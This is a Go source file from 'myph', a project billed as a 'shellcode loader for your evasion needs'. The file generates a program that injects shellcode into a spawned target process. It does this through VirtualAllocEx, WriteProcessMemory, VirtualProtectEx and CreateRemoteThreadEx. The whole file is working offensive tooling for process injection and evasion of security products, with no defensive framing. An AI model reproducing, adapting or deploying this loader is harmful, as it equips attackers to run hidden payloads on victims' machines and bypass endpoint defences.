myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
createRemoteThreadEx.go (1963B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type CRTxTemplate struct {
      9 	CRTTemplate
     10 }
     11 
     12 func (t CRTxTemplate) Const() string {
     13 	return strings.Replace(t.CRTTemplate.Const(), "CreateRemoteThread", "CreateRemoteThreadEx", 1)
     14 }
     15 
     16 func (t CRTxTemplate) Process() string {
     17 	return fmt.Sprintf(`
     18 	/* spawn target process */
     19     process := loadProcess("__PROCESS__")
     20     oldProtectCfg := PAGE_READWRITE
     21 
     22     /* allocating the appropriate amount of memory */
     23     baseAddr, _, _ := VirtualAllocEx.Call(
     24         uintptr(process.Process),
     25         0,
     26         uintptr(len(shellcode)),
     27         MEM_COMMIT | MEM_RESERVE,
     28         PAGE_READWRITE,
     29     )
     30 
     31     /* overwriting process memory with our shellcode */
     32     _, _, _ = WriteProcessMemory.Call(
     33         uintptr(process.Process),
     34         baseAddr,
     35         uintptr(unsafe.Pointer(&shellcode[0])),
     36         uintptr(len(shellcode)),
     37         0,
     38     )
     39 
     40     /* changing permissions for our memory segment */
     41     _, _, _ = VirtualProtectEx.Call(
     42         uintptr(process.Process),
     43         baseAddr,
     44         uintptr(len(shellcode)),
     45         PAGE_EXECUTE_READ,
     46         uintptr(unsafe.Pointer(&oldProtectCfg)),
     47     )
     48 
     49     /* load remote thread */
     50 	_, _, _ = CreateRemoteThreadEx.Call(
     51         uintptr(process.Process),
     52         0,
     53         0,
     54         baseAddr,
     55         0,
     56         0,
     57         0,
     58     )
     59 `)
     60 }
     61 
     62 func (t CRTxTemplate) GetTemplate(targetProcess string) string {
     63 	var template = `
     64 package main
     65 
     66 __IMPORT__STATEMENT__
     67 
     68 __CONST__STATEMENT__
     69 
     70 __IMPORT__INIT__	
     71 
     72 func ExecuteOrderSixtySix(shellcode []byte) {
     73 
     74 __IMPORT__PROCESS__
     75 
     76 }
     77 `
     78 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.CRTTemplate.Import(), -1)
     79 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
     80 	template = strings.Replace(template, "__IMPORT__INIT__", t.CRTTemplate.Init(), -1)
     81 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
     82 
     83 	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
     84 }